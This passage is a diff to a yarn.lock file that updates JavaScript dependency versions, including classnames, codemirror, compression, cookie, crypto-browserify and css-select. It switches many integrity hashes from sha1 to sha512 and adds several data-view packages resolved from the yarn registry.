     static-extend "^0.1.1"
 
 classnames@^2.2.5:
-  version "2.2.6"
-  resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.2.6.tgz#43935bffdd291f326dad0a205309b38d00f650ce"
-  integrity sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==
+  version "2.5.1"
+  resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.5.1.tgz#ba774c614be0f016da105c858e7159eae8e7687b"
+  integrity sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==
 
 clean-css@4.2.x:
-  version "4.2.3"
-  resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-4.2.3.tgz#507b5de7d97b48ee53d84adb0160ff6216380f78"
-  integrity sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==
+  version "4.2.4"
+  resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-4.2.4.tgz#733bf46eba4e607c6891ea57c24a989356831178"
+  integrity sha512-EJUDT7nDVFDvaQgAo2G/PJvxmp1o/c6iXLbswsBbUFXi1Nr+AjA2cKmfbKDMjMvzEe75g3P6JkaDDAKk96A85A==
   dependencies:
     source-map "~0.6.0"
 
 cli-boxes@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/cli-boxes/-/cli-boxes-1.0.0.tgz#4fa917c3e59c94a004cd61f8ee509da651687143"
-  integrity sha1-T6kXw+WclKAEzWH47lCdplFocUM=
+  integrity sha512-3Fo5wu8Ytle8q9iCzS4D2MWVL2X7JVWRiS1BnXbTFDhS9c/REkM9vd1AmabsoZoY5/dGi5TT9iKL8Kb6DeBRQg==
 
 cli-cursor@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-2.1.0.tgz#b35dac376479facc3e94747d41d0d0f5238ffcb5"
-  integrity sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=
+  integrity sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==
   dependencies:
     restore-cursor "^2.0.0"
 
@@ -1749,7 +1792,7 @@ cli-width@^2.0.0:
 cliui@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/cliui/-/cliui-2.1.0.tgz#4b475760ff80264c762c3a1719032e91c7fea0d1"
-  integrity sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=
+  integrity sha512-GIOYRizG+TGoc7Wgc1LiOTLare95R3mzKgoln+Q/lE4ceiYH19gUpl0l0Ffq4lJDEf3FxujMe6IBfOCs7pfqNA==
   dependencies:
     center-align "^0.1.1"
     right-align "^0.1.1"
@@ -1758,7 +1801,7 @@ cliui@^2.1.0:
 cliui@^3.2.0:
   version "3.2.0"
   resolved "https://registry.yarnpkg.com/cliui/-/cliui-3.2.0.tgz#120601537a916d29940f934da3b48d585a39213d"
-  integrity sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=
+  integrity sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==
   dependencies:
     string-width "^1.0.1"
     strip-ansi "^3.0.1"
@@ -1767,7 +1810,7 @@ cliui@^3.2.0:
 clone@^1.0.2:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/clone/-/clone-1.0.4.tgz#da309cc263df15994c688ca902179ca3c7cd7c7e"
-  integrity sha1-2jCcwmPfFZlMaIypAheco8fNfH4=
+  integrity sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==
 
 co@^4.6.0:
   version "4.6.0"
@@ -1777,24 +1820,24 @@ co@^4.6.0:
 coa@~1.0.1:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/coa/-/coa-1.0.4.tgz#a9ef153660d6a86a8bdec0289a5c684d217432fd"
-  integrity sha1-qe8VNmDWqGqL3sAomlxoTSF0Mv0=
+  integrity sha512-KAGck/eNAmCL0dcT3BiuYwLbExK6lduR8DxM3C1TyDzaXhZHyZ8ooX5I5+na2e3dPFuibfxrGdorr0/Lr7RYCQ==
   dependencies:
     q "^1.1.2"
 
 code-point-at@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
-  integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
+  integrity sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==
 
 codemirror@^5.40.0:
-  version "5.58.3"
-  resolved "https://registry.yarnpkg.com/codemirror/-/codemirror-5.58.3.tgz#3f0689854ecfbed5d4479a98b96148b2c3b79796"
-  integrity sha512-KBhB+juiyOOgn0AqtRmWyAT3yoElkuvWTI6hsHa9E6GQrl6bk/fdAYcvuqW1/upO9T9rtEtapWdw4XYcNiVDEA==
+  version "5.65.18"
+  resolved "https://registry.yarnpkg.com/codemirror/-/codemirror-5.65.18.tgz#d7146e4271135a9b4adcd023a270185457c9c428"
+  integrity sha512-Gaz4gHnkbHMGgahNt3CA5HBk5lLQBqmD/pBgeB4kQU6OedZmqMBjlRF0LSrp2tJ4wlLNPm2FfaUd1pDy0mdlpA==
 
 collection-visit@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-  integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
+  integrity sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==
   dependencies:
     map-visit "^1.0.0"
     object-visit "^1.0.0"
@@ -1826,14 +1869,14 @@ color-name@^1.0.0, color-name@~1.1.4:
 color-string@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/color-string/-/color-string-0.3.0.tgz#27d46fb67025c5c2fa25993bfbf579e47841b991"
-  integrity sha1-J9RvtnAlxcL6JZk7+/V55HhBuZE=
+  integrity sha512-sz29j1bmSDfoAxKIEU6zwoIZXN6BrFbAMIhfYCNyiZXBDuU/aiHlN84lp/xDzL2ubyFhLDobHIlU1X70XRrMDA==
   dependencies:
     color-name "^1.0.0"
 
 color@^0.11.0:
   version "0.11.4"
   resolved "https://registry.yarnpkg.com/color/-/color-0.11.4.tgz#6d7b5c74fb65e841cd48792ad1ed5e07b904d764"
-  integrity sha1-bXtcdPtl6EHNSHkq0e1eB7kE12Q=
+  integrity sha512-Ajpjd8asqZ6EdxQeqGzU5WBhhTfJ/0cA4Wlbre7e5vXfmDSmda7Ov6jeKoru+b0vHcb1CqvuroTHp5zIWzhVMA==
   dependencies:
     clone "^1.0.2"
     color-convert "^1.3.0"
@@ -1842,7 +1885,7 @@ color@^0.11.0:
 colormin@^1.0.5:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/colormin/-/colormin-1.1.2.tgz#ea2f7420a72b96881a38aae59ec124a6f7298133"
-  integrity sha1-6i90IKcrlogaOKrlnsEkpvcpgTM=
+  integrity sha512-XSEQUUQUR/lXqGyddiNH3XYFUPYlYr1vXy9rTFMsSOw+J7Q6EQkdlQIrTlYn4TccpsOaUE1PYQNjBn20gwCdgQ==
   dependencies:
     color "^0.11.0"
     css-color-names "0.0.4"
@@ -1851,7 +1894,7 @@ colormin@^1.0.5:
 colors@~1.1.2:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/colors/-/colors-1.1.2.tgz#168a4701756b6a7f51a12ce0c97bfa28c084ed63"
-  integrity sha1-FopHAXVran9RoSzgyXv6KMCE7WM=
+  integrity sha512-ENwblkFQpqqia6b++zLD/KUWafYlVY/UNnAp7oz7LY7E924wmpye416wBOmvv/HMWzl8gL1kJlfvId/1Dg176w==
 
 combined-stream@^1.0.6, combined-stream@~1.0.6:
   version "1.0.8"
@@ -1881,11 +1924,11 @@ commondir@^1.0.1:
   integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=
 
 component-emitter@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-  integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.1.tgz#ef1d5796f7d93f135ee6fb684340b26403c97d17"
+  integrity sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==
 
-compressible@~2.0.16:
+compressible@~2.0.18:
   version "2.0.18"
   resolved "https://registry.yarnpkg.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
   integrity sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==
@@ -1893,16 +1936,16 @@ compressible@~2.0.16:
     mime-db ">= 1.43.0 < 2"
 
 compression@^1.5.2:
-  version "1.7.4"
-  resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.4.tgz#95523eff170ca57c29a0ca41e6fe131f41e5bb8f"
-  integrity sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==
+  version "1.7.5"
+  resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.5.tgz#fdd256c0a642e39e314c478f6c2cd654edd74c93"
+  integrity sha512-bQJ0YRck5ak3LgtnpKkiabX5pNF7tMUh1BSy2ZBOTh0Dim0BUu6aPPwByIns6/A5Prh8PufSPerMDUklpzes2Q==
   dependencies:
-    accepts "~1.3.5"
-    bytes "3.0.0"
-    compressible "~2.0.16"
+    bytes "3.1.2"
+    compressible "~2.0.18"
     debug "2.6.9"
+    negotiator "~0.6.4"
     on-headers "~1.0.2"
-    safe-buffer "5.1.2"
+    safe-buffer "5.2.1"
     vary "~1.1.2"
 
 concat-map@0.0.1:
@@ -1945,19 +1988,19 @@ console-browserify@^1.1.0:
 constants-browserify@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
-  integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
+  integrity sha512-xFxOwqIzR/e1k1gLiWEophSCMqXcwVHIH7akf7b/vxcUeGunlj3hvZaaqxwHsTgn+IndtkQJgSztIDWeumWJDQ==
 
 contains-path@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/contains-path/-/contains-path-0.1.0.tgz#fe8cf184ff6670b6baef01a9d4861a5cbec4120a"
-  integrity sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo=
+  integrity sha512-OKZnPGeMQy2RPaUIBPFFd71iNf4791H12MCRuVQDnzGRwCYNYmTDy5pdafo2SLAcEMKzTOQnLWG4QdcjeJUMEg==
 
-content-disposition@0.5.3:
-  version "0.5.3"
-  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
-  integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==
+content-disposition@0.5.4:
+  version "0.5.4"
+  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.4.tgz#8b82b4efac82512a02bb0b1dcec9d2c5e8eb5bfe"
+  integrity sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==
   dependencies:
-    safe-buffer "5.1.2"
+    safe-buffer "5.2.1"
 
 content-type-parser@^1.0.1:
   version "1.0.2"
@@ -1969,32 +2012,37 @@ content-type@~1.0.4:
   resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
   integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
 
-convert-source-map@^1.4.0, convert-source-map@^1.5.0, convert-source-map@^1.5.1:
+content-type@~1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.5.tgz#8b773162656d1d1086784c8f23a54ce6d73d7918"
+  integrity sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==
+
+convert-source-map@^1.4.0:
   version "1.7.0"
   resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
   integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==
   dependencies:
     safe-buffer "~5.1.1"
 
+convert-source-map@^1.5.0, convert-source-map@^1.5.1:
+  version "1.9.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.9.0.tgz#7faae62353fb4213366d0ca98358d22e8368b05f"
+  integrity sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==
+
 cookie-signature@1.0.6:
   version "1.0.6"
   resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
   integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
 
-cookie@0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
-  integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
+cookie@0.7.1:
+  version "0.7.1"
+  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.7.1.tgz#2f73c42142d5d5cf71310a74fc4ae61670e5dbc9"
+  integrity sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==
 
 copy-descriptor@^0.1.0:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-  integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
-core-js@^1.0.0:
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-1.2.7.tgz#652294c14651db28fa93bd2d5ff2983a4f08c636"
-  integrity sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=
+  integrity sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==
 
 core-js@^2.4.0, core-js@^2.4.1, core-js@^2.5.0:
   version "2.6.12"
@@ -2019,7 +2067,7 @@ cosmiconfig@^2.1.0, cosmiconfig@^2.1.1:
     parse-json "^2.2.0"
     require-from-string "^1.1.0"
 
-create-ecdh@^4.0.0:
+create-ecdh@^4.0.4:
   version "4.0.4"
   resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e"
   integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==
@@ -2030,7 +2078,7 @@ create-ecdh@^4.0.0:
 create-error-class@^3.0.0:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/create-error-class/-/create-error-class-3.0.2.tgz#06be7abef947a3f14a30fd610671d401bca8b7b6"
-  integrity sha1-Br56vvlHo/FKMP1hBnHUAbyot7Y=
+  integrity sha512-gYTKKexFO3kh200H1Nit76sRwRtOY32vQd3jpAQKpLtZqyNsSQNfI4N7o3eP2wUjV35pTWKRYqFUDBvUha/Pkw==
   dependencies:
     capture-stack-trace "^1.0.0"
 
@@ -2045,7 +2093,7 @@ create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
     ripemd160 "^2.0.1"
     sha.js "^2.4.0"
 
-create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
+create-hmac@^1.1.4, create-hmac@^1.1.7:
   version "1.1.7"
   resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
   integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==
@@ -2057,49 +2105,42 @@ create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
     safe-buffer "^5.0.1"
     sha.js "^2.4.8"
 
-create-react-class@^15.6.0:
-  version "15.7.0"
-  resolved "https://registry.yarnpkg.com/create-react-class/-/create-react-class-15.7.0.tgz#7499d7ca2e69bb51d13faf59bd04f0c65a1d6c1e"
-  integrity sha512-QZv4sFWG9S5RUvkTYWbflxeZX+JG7Cz0Tn33rQBJ+WFQTqTfUTjMjiv9tnfXazjsO5r0KhPs+AqCjyrQX6h2ng==
-  dependencies:
-    loose-envify "^1.3.1"
-    object-assign "^4.1.1"
-
 cross-spawn@5.1.0, cross-spawn@^5.0.1, cross-spawn@^5.1.0:
   version "5.1.0"
   resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-5.1.0.tgz#e8bd0efee58fcff6f8f94510a0a554bbfa235449"
-  integrity sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=
+  integrity sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==
   dependencies:
     lru-cache "^4.0.1"
     shebang-command "^1.2.0"
     which "^1.2.9"
 
 crypto-browserify@^3.11.0:
-  version "3.12.0"
-  resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
-  integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==
+  version "3.12.1"
+  resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.1.tgz#bb8921bec9acc81633379aa8f52d69b0b69e0dac"
+  integrity sha512-r4ESw/IlusD17lgQi1O20Fa3qNnsckR126TdUuBgAu7GBYSIPvdNyONd3Zrxh0xCwA4+6w/TDArBPsMvhur+KQ==
   dependencies:
-    browserify-cipher "^1.0.0"
-    browserify-sign "^4.0.0"
-    create-ecdh "^4.0.0"
-    create-hash "^1.1.0"
-    create-hmac "^1.1.0"
-    diffie-hellman "^5.0.0"
-    inherits "^2.0.1"
-    pbkdf2 "^3.0.3"
-    public-encrypt "^4.0.0"
-    randombytes "^2.0.0"
-    randomfill "^1.0.3"
+    browserify-cipher "^1.0.1"
+    browserify-sign "^4.2.3"
+    create-ecdh "^4.0.4"
+    create-hash "^1.2.0"
+    create-hmac "^1.1.7"
+    diffie-hellman "^5.0.3"
+    hash-base "~3.0.4"
+    inherits "^2.0.4"
+    pbkdf2 "^3.1.2"
+    public-encrypt "^4.0.3"
+    randombytes "^2.1.0"
+    randomfill "^1.0.4"
 
 crypto-random-string@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-1.0.0.tgz#a230f64f568310e1498009940790ec99545bca7e"
-  integrity sha1-ojD2T1aDEOFJgAmUB5DsmVRbyn4=
+  integrity sha512-GsVpkFPlycH7/fRR7Dhcmnoii54gV1nz7y4CWyeFS14N+JVBBhY+r8amRHE4BwSYal7BPTDp8isvAlCxyFt3Hg==
 
 css-color-names@0.0.4:
   version "0.0.4"
   resolved "https://registry.yarnpkg.com/css-color-names/-/css-color-names-0.0.4.tgz#808adc2e79cf84738069b646cb20ec27beb629e0"
-  integrity sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=
+  integrity sha512-zj5D7X1U2h2zsXOAM8EyUREBnnts6H+Jm+d1M2DbiQQcUtnqgQsMrdo8JW9R80YFUmIdBZeMu5wvYM7hcgWP/Q==
 
 css-loader@0.28.7:
   version "0.28.7"
@@ -2121,15 +2162,16 @@ css-loader@0.28.7:
     postcss-value-parser "^3.3.0"
     source-list-map "^2.0.0"
 
-css-select@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/css-select/-/css-select-1.2.0.tgz#2b3a110539c5355f1cd8d314623e870b121ec858"
-  integrity sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=
+css-select@^4.1.3:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/css-select/-/css-select-4.3.0.tgz#db7129b2846662fd8628cfc496abb2b59e41529b"
+  integrity sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==
   dependencies:
-    boolbase "~1.0.0"
-    css-what "2.1"
-    domutils "1.5.1"
-    nth-check "~1.0.1"
+    boolbase "^1.0.0"
+    css-what "^6.0.1"
+    domhandler "^4.3.1"
+    domutils "^2.8.0"
+    nth-check "^2.0.1"
 
 css-selector-tokenizer@^0.7.0:
   version "0.7.3"
@@ -2139,10 +2181,10 @@ css-selector-tokenizer@^0.7.0:
     cssesc "^3.0.0"
     fastparse "^1.1.2"
 
-css-what@2.1:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/css-what/-/css-what-2.1.3.tgz#a6d7604573365fe74686c3f311c56513d88285f2"
-  integrity sha512-a+EPoD+uZiNfh+5fxw2nO9QwFa6nJe2Or35fGY6Ipw1R3R4AGz1d1TEZrCegvw2YTmZ0jXirGYlzxxpYSHwpEg==
+css-what@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/css-what/-/css-what-6.1.0.tgz#fb5effcf76f1ddea2c81bdfaa4de44e79bac70f4"
+  integrity sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==
 
 cssesc@^3.0.0:
   version "3.0.0"
@@ -2152,7 +2194,7 @@ cssesc@^3.0.0:
 "cssnano@>=2.6.1 <4":
   version "3.10.0"
   resolved "https://registry.yarnpkg.com/cssnano/-/cssnano-3.10.0.tgz#4f38f6cea2b9b17fa01490f23f1dc68ea65c1c38"
-  integrity sha1-Tzj2zqK5sX+gFJDyPx3GjqZcHDg=
+  integrity sha512-0o0IMQE0Ezo4b41Yrm8U6Rp9/Ag81vNXY1gZMnT1XhO4DpjEf2utKERqWJbOoz3g1Wdc1d3QSta/cIuJ1wSTEg==
   dependencies:
     autoprefixer "^6.3.1"
     decamelize "^1.1.2"
@@ -2190,7 +2232,7 @@ cssesc@^3.0.0:
 csso@~2.3.1:
   version "2.3.2"
   resolved "https://registry.yarnpkg.com/csso/-/csso-2.3.2.tgz#ddd52c587033f49e94b71fc55569f252e8ff5f85"
-  integrity sha1-3dUsWHAz9J6Utx/FVWnyUuj/X4U=
+  integrity sha512-FmCI/hmqDeHHLaIQckMhMZneS84yzUZdrWDAvJVVxOwcKE1P1LF9FGmzr1ktIQSxOw6fl3PaQsmfg+GN+VvR3w==
   dependencies:
     clap "^1.0.9"
     source-map "^0.5.3"
@@ -2203,37 +2245,64 @@ cssom@0.3.x, "cssom@>= 0.3.2 < 0.4.0":
 "cssstyle@>= 0.2.37 < 0.3.0":
   version "0.2.37"
   resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-0.2.37.tgz#541097234cb2513c83ceed3acddc27ff27987d54"
-  integrity sha1-VBCXI0yyUTyDzu06zdwn/yeYfVQ=
+  integrity sha512-FUpKc+1FNBsHUr9IsfSGCovr8VuGOiiuzlgCyppKBjJi2jYTOFLN3oiiNRMIvYqbFzF38mqKj4BgcevzU5/kIA==
   dependencies:
     cssom "0.3.x"
 
 currently-unhandled@^0.4.1:
   version "0.4.1"
   resolved "https://registry.yarnpkg.com/currently-unhandled/-/currently-unhandled-0.4.1.tgz#988df33feab191ef799a61369dd76c17adf957ea"
-  integrity sha1-mI3zP+qxke95mmE2nddsF635V+o=
+  integrity sha512-/fITjgjGU50vjQ4FH6eUoYu+iUoUKIXws2hL15JJpIR+BbTxaXQsMuuyjtNh2WqsSBS5nsaZHFsFecyw5CCAng==
   dependencies:
     array-find-index "^1.0.1"
 
-d@1, d@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/d/-/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a"
-  integrity sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==
+d@1, d@^1.0.1, d@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/d/-/d-1.0.2.tgz#2aefd554b81981e7dccf72d6842ae725cb17e5de"
+  integrity sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==
   dependencies:
-    es5-ext "^0.10.50"
-    type "^1.0.1"
+    es5-ext "^0.10.64"
+    type "^2.7.2"
 
 damerau-levenshtein@^1.0.0:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.6.tgz#143c1641cb3d85c60c32329e26899adea8701791"
-  integrity sha512-JVrozIeElnj3QzfUIt8tB8YMluBJom4Vw9qTPpjGYQ9fYlB3D/rb6OordUxf3xeFB35LKWs0xqcO5U6ySvBtug==
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz#b43d286ccbd36bc5b2f7ed41caf2d0aba1f8a6e7"
+  integrity sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==
 
 dashdash@^1.12.0:
   version "1.14.1"
   resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
-  integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
+  integrity sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==
   dependencies:
     assert-plus "^1.0.0"
 
+data-view-buffer@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz#211a03ba95ecaf7798a8c7198d79536211f88570"
+  integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz#9e80f7ca52453ce3e93d25a35318767ea7704735"
+  integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.2"
+
+data-view-byte-offset@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191"
+  integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-data-view "^1.0.1"
+
